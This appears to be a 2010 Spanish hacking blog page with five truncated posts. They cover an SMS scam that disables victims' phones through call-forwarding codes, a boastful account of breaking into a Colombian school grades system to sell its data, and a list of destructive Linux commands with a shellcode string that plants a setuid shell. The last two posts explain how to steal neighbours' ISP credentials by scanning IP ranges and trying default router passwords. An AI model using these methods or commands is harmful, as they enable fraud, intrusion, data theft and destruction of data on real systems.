El q No Busca.. No encuentra..

Un Ataque Que Podria Dejar Sin Telefonia Movil A Toda una Ciudad....

Publicado el 11/08/2010 12:08:00 en Phreaking. Total de votos: 7 Votar

Un Ataque Que Podria Dejar Sin Telefonia Movil A Toda una Ciudad....

Pues En mi Rato Libre Me puse a Realizar una Investigacion en celulares Analogicos y Modernos.... Probando con Cmands Sticks Me Acorde De algo!

Se Acuerdan De los 3 Famosos Codes!!!

**21*numerodestinatario# [SEND]
*##21# [SEND]

Si nos e acuerdan.. estos son DESVIOS DE LLAMADAS

Pero Se preguntaran Porque esta Huevada Se esta Posteando Es mas Viejo Que mis Cojones XD¿?

Aqui va la Respuesta...

Que tal Si Coges un SPAMMER CEL y Haces Los Siguiente..

|--------------------------------------------------------|
| Cel: 301-xxx-xxxx
|      301-xxx-xxxx
|      301-xxx-xxxx
|      301-xxx-xxxx
|      301-xxx-xxxx
|   Con Mas numeros..
|
|Mensaje: Su Operador le nforma que hay una Actualizacion
|Para Solicitarla Oprima lo Siguiente: **21*3001234567#  seguido
| de
|la tecla Send....
----------------------------------------------------------

NOTA: **21*3001234567# Donde se encuentra el Numero 10 deberia ir un Desvio con Numero Activo pero si este esta OFF o No existe Crearia un Error De llamada o Numero Errado

Que Pasaria¿?

Lo Intente con 5 Numeros Familiares.. y con los Cels a la mano..
al Momento de llamarles, Este No Permitian llamadas entrantes..

GRABACION: NUMERO ERRADO!

Aja y Eso que.. Como Podria Joder a Toda una Ciudad.. Que Tonteria!¿?

Las Bases Con los Numeros Celulares de Ciertos Operadores.. las consigues Por hay... Yo tengo 3 bases... y s evenden a Buen Precio..

1 Base Tiene Aprox 2 Millones de numeros Que Al Crear un Spammer cel con soporte de cierta cantidad, Se podria Saturar Miles y Miles de Lineas Moviles...

Poniendolo A Prueba!

1- Conecte mi cel y Transferi Los Directrios y Grupos Telefonicos a un TXT

2- Cogi el Spammer de un Amigo.. y Enviamos el mensaje a 50 Numeros

3- Al Intentar llamar a alguno de estos

GRABACION: NUMERO ERRADO!

Al testear un rato mas Me doy cuenta.. Que en Todos Los Modelos No sirve este!!

Solo Algunos De ellos!!!

Por eso No es un 100 % CMPROBADO! ya que no tengo Miles de Celulares XD!

CONCLUSION: Un Operador Movil Podria Quebrar o Decaer Con Este Fallo En Ciertos Celulares Incluso!.. La dificil SOLUCION ya que la manera de Arreglar Seria Enviando un MENSAJE con el Disacdo Que lo soluciona...

SOLUCION DEL FALLO:

##21# [SEND]

Pocas Palabras...

Este Tipo de Ataques Puede Ser fatal para los Usuarios con celulares Algo Antiguos Incluso Celulares nuevos que admiten la Reprogramacion De Sticks o KeyTicks... Esto Podria Afectar Demasiado a los Locales de Llamadas.. Que Usan ... [/trombi]

Continúa aquí...

Comentarios: 9 | Leer comentarios

[In]seguridad A Simple Vista! Anecdota..

Publicado el 10/08/2010 12:08:00 en Seguridad. Total de votos: 13 Votar

IN-seguridad A Simple Vista!

Bueno tiempo sin Aportar nada, ya que ando algo alterado por mis estudios y problemas familiares, Me decido a aportarles este pequeño Texto que eh escrito para ustedes...

Hace Unos dias mi primo vio en mi Iphone un PDF llamado "Inseguridad en Sitios Gubernameentales" Algo asi.. al ver eso me pregunto que ah que me dedicaba¿?... Solo le dige que era una Noticia! y nada mas...Despues vio otro PDF llamado "Cajeros Automaticos, Algo mas que un sistema" Despues me hizo una pregunta... ¿Podrias Cambiar las Notas del Cole?.. Es que ando Muy mal y no quiero Defraudar a mis padres, osea, Mis tios, yo le dige, De donde crees Q puedo hacer Semejante Pavada!, El me dijo q me Pagaria con un Celular Blackberry Bold!

Se me Abrieron los Ojitos! 0.0!
y Decidi hacerlo........

seminario[xxxxxxxxxx].ciudad[xxxxxxx].com

<--- EN PROTECCION

Al Ingresar Note que no era Precisamente del Colegio si no Un sistema de gestion de notas de Miles de colegios en COLOMBIA!

este Ofrecia Subdominios

NOMBREDELCOLEGIO.ciudadde[xxxxx].com

Pues No decidi ir solo al cole!! si no al Sistema principal... Me serviria para Tener muchas bases de datos y venderlas!...

Al hacer un testeo! Note algo!! me sorprendi Mucho Al ver Esto!!
Tanto es Asi! Que Me dio verguenza con mi primo de Recibirle su Blackberry Bold!!

Pues nunca Crei que fuera tan faciL!... Ademas que despues de unas Horas me di cuenta que era un Sistema de Gestion de Notas Facilitado por LA SECRETARIA DE EDUCACION DISTRITAL!
me sorprendi aun mas.... Tenia Una Valiosisima Informacion en mis Manitas... decidi ir a Mysql Administrator Para ver Si los datos Funcaban!

Espere Varios Minutos... De repente Mi Conexion CayO!!.. Que pasaria¿?

Intente Nuevamente.....

hasta q lOgre hacerme Con Ellos!!

Pero.... Con un simple Ojeo! Se logro Todo esto¿?

Me lo espere de cualquier parte.. pero de unas bases de datos Tan Importantes de la SECRETARIA DE EDUCACION DISTRITAL....¿?

Practicamente Tengo un 80 % de los colegios de cada Ciudad Ya que todas las SECRETARIAS DE EDUCACION estan Enlazadas... Los colegios Semiprivados no Encajan aqui! Por eso digo un 80%...

Lo sorprendente que al Abrir y cerrar de Ojos Ya estas Adentro de un Sistema!

Comentarios: 20 | Leer comentarios

Los 7 Comandos De La Muerte [LINUX]

Publicado el 12/07/2010 12:07:00 en Linux. Total de votos: 8 Votar

Pues Ya Se , Yase Que Sabes de esto pero Hay Personas que no XD!

Bueno No tenia Nada Que hacer y lei un Articulo hace mUcho Tiempo...

Sobre los 7 Comandos de la Muerte Para un Linux.. Se me Ocurrio ReSucitar este Viejo Articulo ya que Hace unos Dias.. Fui a Una Conferecia de Seguridad informatica en CARTAGENA DE INDIAS COLOMBIA Y estuve Con Muchos Expertos y Muchos Novatos.. Muchos de ellos Apenas Iniciaban en LINUX.. y Como Algunos Bromistas llego uno y Le dice al Otro

RooTerByte: Si quieres Poner o Activar Toda Tu seguridad en Linux Teclea esto: # rm -Rf /

Novato: Okz ya lo hago, Seguro Incluye Firewall?

Yo: Detras de Una Cabina Riendome XD!!

Pues Como Aveces decimos Hay Muchos NOVATOS q se les puede engañar de Manera Rapida y facil No por ser TONTOS.. Si no Por Falta de Conocimientos

Veamos mas A fondo El Articulo

1. Comando:

# rm -Rf /

Este comando eliminará a la fuerza y recursivamente (incluyendo subdirectorios), todos los archivos dentro del directorio raiz.

2. Comando:

char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68&#8243;
“\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99&#8243;
“\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7&#8243;
“\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56&#8243;
“\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31&#8243;
“\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69&#8243;
“\x6e\x2f\x73\x68\x00\x2d\x63\x00&#8243;
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;

Esta es la versión hexadecimal de [rm -Rf / ], con la cual podria engañarse incluso a usuarios linux mas experimentados.

3. Comando:

# mkfs.ext3 /dev/sda

Reformatea o elimina todos los archivos del dispositivo mencionado despues del comando mkfs.

4. Comando:

:(){:|:&};:

La ya conocida por muchos bomba fork. Este comando hará que tu sistema ejecute un elevado número de procesos, hasta que el mismo se “cuelgue”. A menudo esto puede acarrear perdida de datos.

5. Comando:

cualquier_comando > /dev/sda

Con este comando, se envian bloques de datos al dispositivo indicado, lo cual a menudo puede colapsar el sistema de archivos, dando como resultado una perdida total de datos.

6. Comando:

wget http://fuente_de_origen_inseguro -O- | sh

Estamos descargando datos, posiblemente un script, de alguna fuente no muy confiable, e inmediatamente despues, estamos ordenando que se ejecute el archivo descargado. Nunca, nunca hagas esto.

7. Comando:

mv /home/tudirectoriodeusuario/* /dev/null

Este comando mueve todos los archivos dentro de tu directorio home, a un lugar que no existe, razón por la cual, nunca podras ver tus archivos de nuevo.

... [/trombi]

Continúa aquí...

Comentarios: 13 | Leer comentarios

Internet gratis mediante Robo de Datos de Config router PARTE #2

Publicado el 16/06/2010 12:06:00 en Redes. Total de votos: 6 Votar

Internet gratis mediante Robo de Datos de Config router PARTE #2
{Secuestro de Cuentas masivas en rangos IP}

Pues hace Unas Semanas Publique el Articulo numero 1 el Cual Desvelaba el metodo y su funcionamiento...

ARTICULO #1

Ahora explicare un Nuevo metodo para Obtener masivamente muchas Cuentas y datos de los Routers en Dichos Rangos.. este Sera un Complementado como PARTE #2 el cual solo se basa de un Simple metodo y Algo de Astucia..y Claves o datos DEFAULT

Nos Ponemos a Pensar....

Mi Ip es: 190.67.148.120

Como lo es De suponer.. esta en rangos

Que tal si la Modifico a 190.67.148.xxx <---Numero Modificado!

o Rango secundario 190.67.1xx.122
o terciario 190.xx.148.122

Nos Bota la Interfaz que se le fue asignada a una IP ...

el Cual consta de los mismos datos

USER <----> CLAVE

Nota: Como es de Saber la Costumbre de los datsos DEFAULT aun persiste

Armando la Rutina

Que tal si me voy de rango a rango Secuestrando datos?
Obtendria Demasiados y de seguro Hay Cuentas con Una Conexion Exclentisima de 4 a 8 M

Creando Rutina de rango primario , secundario y terciario

190.67.148.121 <--Se queda en espera [QUIERE DECIR Q ESTE RANGO NO AH SIDO ASIGNADO AUN]
190.67.148.122 en espera...
190.67.148.123
190.67.148.124 <---Solicita User y clave
190.67.148.125 en espera....
190.67.148.126<---Solicita User y clave
190.67.148.127
190.67.148.128
190.67.148.129<---Solicita User y clave
190.67.148.130

[i]Sucesivamente.....[/i]

Como vemos muchas Nos Piden los datos de ACCESO.. Que usariamos¿?

Primero Nos equiparemos con una Web con Claves default para dichas marcas de Router

Lista 1

Lista 2

Bueno Al recolectar En un TXT todas las IPS que nos soliciten USER Y CLAVE y desechar las q queden en espera

procedemos a Ir Abriendo cada Interfaz e identificar su MARCA y usar sus datos Default

Elijo la primera de mi Rutina
En mi caso es: 190.67.148.136

VERIFICO LA MARCA "SMARTAX" BUSCO EN LA LISTA LA MARCA GENERADA Y SUS DATOS DEFAULT

ADMIN:ADMIN ADMIN:1234 ADMIN:root ADMIN: goobleAx

Si Las Claves DEFAULT DE LA LISTA NO TE FUNKAN Quiere Decir que Esta Fue Modificada

Una Vez Ingresado a la Interfaz procedemos a Buscar Lo que Nos Interesa EL USER Y LA CLAVE

Nota: En la Parte Numero 1 Se explica Como Sacar USer y clave

Bueno Este Procedimiento Lo haremos Cuantas Veces Quedamos en los Rangos Que hemos A... [/trombi]

Continúa aquí...

Comentarios: 18 | Leer comentarios

Internet Gratis Mediante Robo De Datos en Configuracion Router

Publicado el 31/05/2010 12:05:00 en Redes. Total de votos: 8 Votar

Bueno Hace unos 2 meses aproximadamente Por motivos de la vida quede sin Internet.. puesto por la Desesperacion No soportaba esos dias... [Eh sido de las personas Que no gustan Usar Cybers ya q No me acomodo mucho al windows o porque ando muy acostumbrado a mis PCS]... Cambie el Modo de mi PC a wireless.. Hice un Crackeos de claves.. Pero Al Usar La conexion veo que es Una MIERDA.. ya q la conexion era como de 500 o 700 :/ .... Me desespere Tanto Que Decidi Usar un metodo De hace 1 o 2 Años que Habia Pensado Pero Nunca lo use..

Este Metodo se lo Comente a Mi Compañero XZITE... Pero No le gusto para nada la Idea de Ponerlo Ya que Ademas de q Muchos Conocen de el Pero MUY POCO pueden los proveedores Darle Importancia y Hacer reposicion de ROUTERS, Por eso Mismo Lo Posteo.. ya que Hace 3 Dias Vi En la TV que TELMEX y TELEFONICA estaran haciendo reposicion de ROUTERS para Acabar con este Tipo de ABUSOS... Por eso Se los Comparto mas DETALLADO para que lo usen al MAXIMO.
[La reposicion de Routers se hara en Colombia, es decir que en Otros Paises Podrian disfrutar mas de el]

Explicacion del Metodo:

1- Este Metodo Trata de Obtener el usuario o cuenta que el Proveedor le asigna a un Hogar..empresa, Etc para Tener beneficios de el en Nuestra Casa :D

2- Se preguntaran para que Obtener La Cuenta de "TELEFONICA" de mi vecino¿?
Pues logicooo... A esta se le Asignan unos valores que entre ellos lo mas Importantes son:

ETC

3- Debido a esto te pondras a Pensar que esto te podria Servir...

a/ Para Tener internet Gratis
b/ Para Aumentar la Velocidad de Tu Conexion

NOTA: Si Necesitas este Articulo para Utilizarlo en la Oopcion A [Para Tener internet Gratis] Requeririas de Tener un Router y un cableado HABILITADO

PONIENDONOS A TRABAJAR...

1- Primero que Todo La Obtencion de La Cuenta Puede Realizarse de 2 FORMAS

A) REMOTA= Por la IP Publica y Accediendo con Los datos Directamente a la configuracion del ROUTER
B) LOCAL= Con Acceso Fisico a La PC conectada al Router

NOTA=[Este Metodo Lo Eh Realizado con Cuentas de Mi Mismo PROVEEDOR, aun No eh usado cuentas de Telmex, tigo, etc.. solo eh usado la de TELEFONICA ya que es la que hasta el Momento Conozco perfectamente su Sistema y Configuracion]

BUENO VAMOS A OBTENER LA CUENTA DE MANERA REMOTA

Para realizarlo de esta Manera Simplemente necesitamos la IP Publica de Nuestro Objetivo

Ejemplo: Mi Amigo "cesar" Tiene una Conexion con velocidad de 4MBPS ,le digo.. Amigazo hazme un favor Entra a mi Nueva WEB... Mi amigo Entra y Resulta que es una LOCALSERVER el Cual Tiene Logs De las IPS ENTRANTES...
Se queda Registrada Su IP y me La Guardo.

[Este es un Ejemplo Con ING Social]

La Ip es: 190.67.147.211

Al Ponerla... [/trombi]

Continúa aquí...

Comentarios: 29 | Leer comentarios

Ver: Siguientes 5

En Busca de algo especial...Conocimiento!!

Tagboard

Video De La Semana!

Sobre Mi!

Blogroll: 39

Perfil de maztor

Patrocinadores:

Un Ataque Que Podria Dejar Sin Telefonia Movil A Toda una Ciudad....

[In]seguridad A Simple Vista! Anecdota..

Los 7 Comandos De La Muerte [LINUX]

Internet gratis mediante Robo de Datos de Config router PARTE #2

Internet Gratis Mediante Robo De Datos en Configuracion Router